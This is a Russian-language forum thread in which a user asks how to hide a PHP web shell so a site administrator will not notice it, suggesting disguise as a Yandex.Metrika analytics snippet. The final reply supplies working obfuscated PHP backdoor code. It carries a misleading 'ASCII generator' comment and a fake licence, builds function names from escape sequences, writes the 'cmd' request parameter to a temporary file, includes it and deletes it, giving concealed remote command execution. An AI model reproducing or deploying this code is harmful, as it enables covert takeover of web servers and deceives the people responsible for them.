Подскажите как можно спрятать шелл код чтоб у админа не было подозрений допустим <?php eval($_GET[cmd]); ?> Выглядел так: Code: <!-- Yandex.Metrika counter --> <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(86612194, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/86631124" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter --> Ну или чтото подобное!Конечно можно кодировать декодировать в base64.Но мне кажется что это не лучшый вариант! Может существуют "ядовитые скрипты"?
Могу предположить, что то, что нужно, называется - обфускация. Но в таком случае требование: скорее всего не будет удовлетворено, потому как при визуальном осмотре такого участка кода (и наличии базовых компетенций) уровень подозрения должен расти в геометрической прогрессии. Можно спрятать php скрипт прямо в памяти сервера. Но думаю, большинство решений, которые можно найти в открытом доступе в интернете, будут работать до первой перезагрузки сервера. Все остальные методы уже будут связаны с серьёзными прикладными знаниями сетевых архитектур.
Для кода: Code: <?php eval($_GET['cmd']); ?> придумал такой аналогичный вариант, на основе временного файла(должен быть доступ на запись в текущую директорию) и шифрования строк в восьмеричные и шестнадцатеричные escape-последовательности: PHP: <?php/** * Generating and including ASCII chars * MIT Licence №: 775216427 */function ASCII_generator() { $ASCII_table = array( array("\146", "\x69", "\x6c", "\145", "\x5f", "\160", "\165", "\x74","\x5f", "\143", "\157", "\156", "\164", "\145", "\156", "\x74", "\163"), array("\164", "\155", "\x70"), array("\x3c", "\077", "\160", "\150", "\160", "\x20"), array("\143", "\x6d", "\144"), array("\040", "\x3f", "\076"), array("\x75", "\156", "\154", "\x69", "\156", "\x6b"), array("\x66", "\151", "\x6c", "\145", "\x5f", "\145", "\x78", "\x69", "\163", "\x74", "\x73"), array("\050", "\047"), array("\x27", "\051", "\x3b") ); do { $f = "." . ASCII($ASCII_table[1]) . substr(md5(mt_rand()), 0, 8); } while (ASCII($ASCII_table[6])($f)); if (ASCII($ASCII_table[0])($f, ASCII($ASCII_table[2]).@$_GET[ASCII($ASCII_table[3])].ASCII($ASCII_table[5]).ASCII($ASCII_table[7]).$f.ASCII($ASCII_table[8]).ASCII($ASCII_table[4])) !== false) { include $f; } else { echo 0; }}function ASCII(array $ASCII_table) { $r = ''; foreach ($ASCII_table as $l) { $r .= $l; } return $r;}ASCII_generator();